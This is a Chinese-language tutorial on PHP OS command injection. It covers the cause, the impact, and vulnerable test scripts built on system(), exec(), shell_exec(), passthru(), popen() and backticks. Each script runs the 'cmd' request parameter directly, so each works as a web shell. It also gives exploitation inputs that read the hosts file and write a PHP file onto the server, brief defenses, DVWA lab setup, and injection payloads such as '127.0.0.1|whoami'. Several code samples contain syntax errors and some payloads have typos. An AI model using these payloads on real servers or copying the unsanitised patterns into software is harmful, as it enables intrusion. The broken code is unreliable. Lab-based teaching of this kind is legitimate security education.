文章目录
    
    
    
    一:原理以及成因
   
程序员使用脚本语言(比如PHP)开发应用程序中,脚本语言开发十分快速,简介,方便,但是也伴随着一些问题。比如说速度慢,或者无法接触系统底层,如果我们开发的应用,特别是企业级的一些应用需要去调用一些外部程序,当应用需要调用一些外部程序时,就会用到一些系统命令的函数。
    应用在调用这些函数执行系统命令的时候,如果将用户的输入做为系统命令的参数拼接到命令行中,在没有过滤的情况下,就会造成命令执行漏洞。
    
    1、用户输入做为拼接
    
    2、没有足够的过滤
   
    
    
    二:漏洞危害
   
    1、继承web服务器程序权限,去执行系统命令
    
    2、继承web服务器权限,读写文件
    
    3、反弹shell
    
    4、控制整个网站
    
    5、控制整个服务器
   
    
    
    三:相关函数
   
    
    
    3.1:system()
   
system()能够将字符串做为OS命令执行,自带输出功能。测试代码如下;
system.php:
<?php
	if(isset($_GET['cmd'])){
		echo "<pre>";
		system($_GET['cmd']);
	}else{
		echo "?cmd=ipconfig";
	}
?>
?cmd后面就相当于在cmd命令窗口输入一样。
    
    
    不仅仅可以ipconfig,还可以有其他想法,基本上cmd的窗口命令都可以在这里输入得到结果,比如,?cmd=systeminfo ?cmd=net user 等等。
    
    
    
   
    
    
    3.2:exec()
   
exec()函数能够将字符串做为OS命令执行,需要输出执行结果。测试代码如下:
<?php
	if(isset($_GET['cmd'])){
		echo "<pre>";
		print exec($_GET(['cmd']));
	}else{
		echo "?cmd=whoami";
	}
?>
    用法同system()
    
   
    
    
    3.3:shell_exec()
   
测试代码如下
<?php
	if(isset($_GET['cmd'])){
		echo "<pre>";
		print shell_exec($_GET(['cmd']));
	}else{
		echo"?cmd=whoami";
	}
?>
    用法同system()
    
   
    
    
    3.4:passthru()
   
测试代码如下:
<?php
	if(isset($_GET['cmd'])){
		echo "<pre>";
		passthru($_GET(['cmd']);
	}else{
		echo"?cmd=whoami";
	}
?>
    用法同system()
    
   
    
    
    3.5:popen()
   
popen()也能够执行OS命令,但是该函数并非返回命令结果,而是返回一个文件指针。无论返回什么,我们关心的是命令是否执行了。
测试代码如下:
<?php
	if(isset($_GET['cmd'])){
		$cmd=$_GET['cmd'].">>1.txt";
		popen($cmd,'r');
	}
?>
    
    
    生成一个文件
    
    
    
    查看1.txt文件
    
    
    
   
    
    
    3.6:反引号
   
    反引号“内的字符串,也会被解析成OS命令。
    
    测试代码如下:
   
<?php
	if(isset($_GET['cmd'])){
		$cmd=$_GET['cmd'];
		print `$cmd`;
	}else{
		echo "?cmd=whoami";
	}
?>
    
    
    
    四:漏洞利用
   
OS命令注入漏洞,攻击者直接继承web用户权限,在服务器上执行任意命令,危害特别大。以下命令均在windows系统下测试成功。
    查看系统文件:
    
    提交参数
    
     ?cmd=type c:\windows\system32\drivers\etc\hosts
    
    查看系统hosts文件
   
    显示当前路径:
    
     ?cmd=cd
    
    写文件:
    
    提交参数
    
     ?cmd=echo "<?php phpinfo();?>" > c:\phpstudy\www\Command_input\shell.php
    
    
    页面没有报错,说明文件写入成功。访问shell.php文件。
    
    
    五:防御方法
   
    1、尽量减少命令执行函数的使用,并在disable_functions中禁用
    
     
   
2、在进入命令执行的函数或方法之前,对参数进行过滤。
    3、参数的值尽量使用引号包裹,并在拼接前调用addslashes 进行转义。
    
    
    
    
    
    
    六:DVWA靶场搭建
   
    官网下载地址:
    
     https://dvwa.co.uk/
    
   
    
     个人的文件分享
    
    (访问密码:HfjmVM)
   
    还需要phpstudy的环境,请参考:
    
     030 php环境搭建
    
   
    解压之后把文件夹放在www目录下:
    
    
    
    浏览器打开
    
    
    
    
    
    然后刷新192.168.100.2/DVWA-master/这个网页,出现下图内容,则拉至浏览器底部,点击create/reset database
    
    
    
    然后进入以下页面,输入默认账号密码
    
    admin
    
    password
    
    
    
    成功进入以下页面
   
    
    
    
    七:DVWA命令注入
   
    low:
    
    127.0.0.1| whoami
    
    127.0.0.1|whoami
    
    127.0.0.0.1||whoami
    
    127.0.0.1&&whoami
   
    medium:
    
    127.0.0.1| whoami
    
    127.0.0.1|whoami
    
    127.0.0.0.1||whoami
    
    127.0.0.1&&&&whoami 不行
   
    high:
    
    127.0.0.1|whoami
   
     
   
 
